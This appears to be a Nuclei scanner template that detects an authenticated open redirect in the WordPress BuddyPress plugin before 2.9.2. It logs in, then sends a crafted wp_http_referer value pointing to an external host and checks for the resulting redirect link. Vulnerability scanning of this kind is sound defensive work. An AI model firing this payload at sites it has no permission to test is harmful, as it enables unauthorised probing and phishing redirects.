wp-buddypress-open-redirect: WordPress BuddyPress < 2.9.2 - Authenticated Open Redirect

id: wp-buddypress-open-redirect

info:
  name: WordPress BuddyPress < 2.9.2 - Authenticated Open Redirect
  author: 0x_Akoko
  severity: low
  description: |
    WordPress BuddyPress plugin before 2.9.2 contains an authenticated open redirect vulnerability via the wp_http_referer parameter on the bp-profile-edit admin page. After updating profile, the Back to Users link redirects to the attacker-specified URL.
  reference:
    - https://hackerone.com/reports/277502
    - https://buddypress.org/2017/11/buddypress-2-9-2-security-and-maintenance-release/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 2.4
    cwe-id: CWE-601
  metadata:
    verified: true
    max-request: 2
  tags: wordpress,wp-plugin,vuln,buddypress,redirect,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/users.php?page=bp-profile-edit&wp_http_referer=https%3A%2F%2Foast.pro&updated=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "text/html")
          - contains_all(body, "href=\"https://oast.pro\"", "Back to Users")
        condition: and
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